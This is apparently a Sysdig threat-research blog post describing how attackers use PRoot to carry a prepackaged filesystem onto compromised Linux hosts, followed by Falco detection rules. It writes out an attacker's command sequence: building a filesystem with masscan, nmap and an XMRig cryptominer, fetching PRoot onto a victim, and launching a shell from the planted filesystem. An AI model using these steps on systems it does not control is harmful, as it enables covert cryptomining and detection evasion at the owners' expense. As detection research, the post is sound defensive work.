The Sysdig Threat Research Team (TRT) recently discovered threat actors leveraging an open source tool called PRoot to expand the scope of their operations to multiple Linux distributions and simplify their necessary efforts. Typically, the scope of an attack is limited by the varying configurations of each Linux distribution. Enter PRoot, an open source tool that provides an attacker with a consistent operational environment across different Linux distributions, such as Ubuntu, Fedora, and Alpine. PRoot also provides emulation capabilities which allow for malware built on other architectures, such as ARM, to be run.
This novel post-exploitation technique, called bring your own filesystem (BYOF), is being actively used by threat actors observed by Sysdig. It is especially useful for threat actors when they may not have a full understanding of an environment ahead of time, or lack the resources to alter their tools for operation in the new environment.
In this blog, we will explain PRoot, the use case we found, and how to detect the activity using a Falco rule.
What is PRoot?
Like many open source tools, PRoot was not developed with malicious intent. It was created to improve compatibility and make administrators’ lives easier. From the PRoot page, it is described as:
“…a user-space implementation of chroot, mount --bind, and binfmt_misc. This means that users don’t need any privileges or setup to do things like using an arbitrary directory as the new root filesystem, making files accessible somewhere else in the filesystem hierarchy, or executing programs built for another CPU architecture transparently through QEMU user-mode.”
PRoot relies on two elements:
- PTRACE: An unprivileged syscall usually available in Linux distributions that can monitor, control, and manipulate other processes.
- QEMU: A tool that can emulate programs built for different architectures through dynamic binary execution; an abbreviation of Quick EMUlation.
PRoot combines commands like chmod, mount, and binfmt_misc to completely isolate the new filesystem from the host, defining what we can call a guest-filesystem. In this guest-filesystem, it is possible to execute custom jobs, mix programs built for different architectures, and use the host resources transparently.
How the attack works
First, threat actors build a malicious filesystem which will be deployed. This malicious filesystem includes everything that the operation needs to succeed. Doing this preparation at this early stage allows all of the tools to be downloaded, configured, or installed on the attacker’s own system far from the prying eyes of detection tools.
In one example, we saw the following tools installed to the malicious filesystem: masscan, nmap, XMRig cryptominer, and the related configuration files. We can’t be certain how the threat actors actually built their filesystem, but it is important to understand how this process works.
apt-get -y install git make gcc nmap && git clone https://github.com/robertdavidgraham/masscan
cd /masscan && make
# masscan and nmap are ready now
wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-x64.tar.gz -O xmrig.tar.gz && tar xvzf xmrig.tar.gz
cat my_xmrig_config.json > xmrig-6.18.1/config.json
# XMRig is downloaded and configured for execution
# Now is time to pack our filesystem
tar -zcvf crafted_fs.tar.gz /Code language: Perl (perl)
The last command shown in the screenshot above packages up the entire malicious filesystem in a tar file which is gzip compressed.
During the attacks, which the Sysdig TRT discovered, the archives were placed on popular storage platforms, such as DropBox. Once the threat actors gained access to their target system, they downloaded their malicious filesystem package along with PRoot. At that point, the threat actors had everything they needed.
Common PRoot install command lines seen during attacks:
curl -LO https://proot.gitlab.io/proot/bin/proot && chmod +x prootCode language: Perl (perl)Since PRoot is statically compiled, it does not require any additional external files or libraries, resulting in just a single file. This makes it very simple for an attacker to use in their tool chain. The executable could be potentially packed with UPX or other obfuscating tools to evade detection.
Once downloaded, the malicious filesystem was unpacked in a folder named /tmp/Proot, although this varies between attacks. The threat actors would then run the proot executable pointing at the directory. In the example below, a bash shell is executed. If we look closer at what happens, the true path of the bash executable being run would be /tmp/Proot/bin/bash. This shows bash is now running from the attackers’ filesystem instead of the original host filesystem.
proot -S /tmp/Proot/ /bin/bashCode language: Perl (perl)In the command above, the -S option sets the specified folder (in this case /tmp/proot) as the root folder, which will become the new root directory, and binds only the paths that are not usually updated by packages. This command will spawn a new process with a random name starting with “prooted” and then execute the bash process. This complicates the process tree, providing a very lightweight obfuscation which makes analysis more difficult.
How does PRoot benefit an attacker?
Using PRoot, there is little regard or concern for the target’s architecture or distribution since the tool smoothes out the attack struggles often associated with executable compatibility, environment setup, and malware and/or miner execution. It allows attackers to get closer to the philosophy of “write once, run everywhere,” which is a long sought-after goal.
The attack path is also simplified. In our assessment, the Sysdig TRT was able to witness and confirm that threat actors using this technique only need to complete a couple of commands to deploy to a victim system and run payloads. Malware that is complicated to install is prone to failure and reduces stealth. Threat actors typically strive to keep their operations as simple as possible to stay hidden.
All of the necessary packages and executables can be packed into the malicious filesystem so the attacker doesn’t need to update or add system packages, or download code from remote repositories. The filesystem can be uploaded to services like Google Drive, Dropbox, or any other legitimate sites that are usually reachable from the target’s internal network.
This novel attack technique can be incredibly powerful. For example, masscan is a popular tool threat actors use to scan networks once they gain access. It is a common part of toolkits we see attackers deploy. The screenshot below shows masscan is not available in the host filesystem, but can be used in the malicious filesystem with PRoot.
Cryptomining with PRoot
To better understand why attackers leverage PRoot, we will look at the XMRig cryptominer, which was commonly used by threat actors during our investigation. PRoot can be leveraged to deploy any number of payloads, but the most popular payload seen by the Sysdig TRT has been cryptominers. This does not come as a surprise, as cryptominers offer threat actors a source of income at the victim’s expense. PRoot can be especially useful for cryptominers because it supports a “fire and forget” philosophy, allowing attackers to quickly and widely deploy their miner, increasing the chances that it will successfully run.
In these cryptoming operations, XMRig is stored in the malicious filesystem and can be launched easily, as shown in the screenshot below. Any dependencies or configurations are also included in the filesystem, so the attacker does not need to run any additional setup commands. The attacker launches PRoot, points it at the unpacked malicious filesystem, and specifies the XMRig binary to execute.
To summarize, PRoot offers a threat actor a number of benefits:
- PRoot easily delivers malicious code by packing it into a filesystem.
- The attack is more scalable since the commands are more likely to succeed.
- An attacker can define different attack paths. Installing and executing a miner is only one of the scenarios; it is also possible to set up persistence mechanisms or run other malware (DDoS, cryptolocker, etc.).
- The architecture of the compiled malicious executables is irrelevant.
Detecting PRoot using Falco
Despite its benefits, PRoot can be detected fairly easily if low-level visibility is available. The Sysdig TRT created rules which can detect the usage of the PRoot tool using Falco.
Falco is a CNCF incubating project that can help in the detection of anomalous activities in cloud-native environments, sending alerts at runtime. In order to do this, you can either use the default Falco rules or create your own custom rules leveraging its easy and flexible language.
The first rule is a very specific detection of PRoot in use. It relies on the clone system call and the PRoot filename. It is also possible to detect PRoot by its PTRACE functionality, but that is a more generic detection that can be noisier.
- rule: Detect cloned process by Proot
desc: >
Detect a cloned process spawned, possible privilege escalation.
condition: >
evt.type=clone and (proc.name="proot" or proc.pname="proot" or proc.aname[2]="proot" or proc.aname[3]="proot")
output: >
Detect a cloned process spawned (proc.name=%proc.name proc.args=%proc.args fd.name=%fd.name proc.cmdline=%proc.pcmdline proc.pname=%proc.pname container=%container.info proc.pcmdline=%proc.pcmdline user.uid=%user.uid user.name=%user.name group.gid=%group.gid container.id=%container.id container.name=%container.name image=%container.image.repository)
priority: Alert
- rule: PTRACE attached to process
desc: "This rule detects an attempt to inject code into a process using PTRACE."
condition: evt.type=ptrace and evt.dir=> and evt.arg.request in (5, 6, 11, 20) and proc_name_exists and not known_ptrace_procs and not PTRACE_exclude_proc_anames
output: Detected ptrace PTRACE_ATTACH attempt (proc.cmdline=%proc.cmdline proc.name=%proc.name proc.pname=%proc.pname user.uid=%user.uid user.loginuid=%user.loginuid user.loginname=%user.loginname user.name=%user.name group.gid=%group.gid group.name=%group.name container.id=%container.id container.name=%container.name image=%container.image.repository)
priority: WARNING
Code language: Perl (perl)Conclusion
Attackers’ post-exploitation techniques and paths are always improving and evolving to evade detection during the setup and execution phases in the victims’ environment.
The discovery of PRoot allowing attackers to bypass a target system’s tools and skip the environment setup and execution is a powerful option for defense evasion. Beyond the cryptomining use case, PRoot can be used in malware deployment and in facilitating persistence. It removes attacker’s concerns with targets’ varying architecture types and provides a greater attack scale and success rate.
Thus, it is instrumental for your company’s security operations to have a runtime detection layer, such as Falco, that can detect this behavior. Ensure you can observe this type of threat to reduce your risk of exploitation, the costs of cryptomining, and attacker persistence on your network.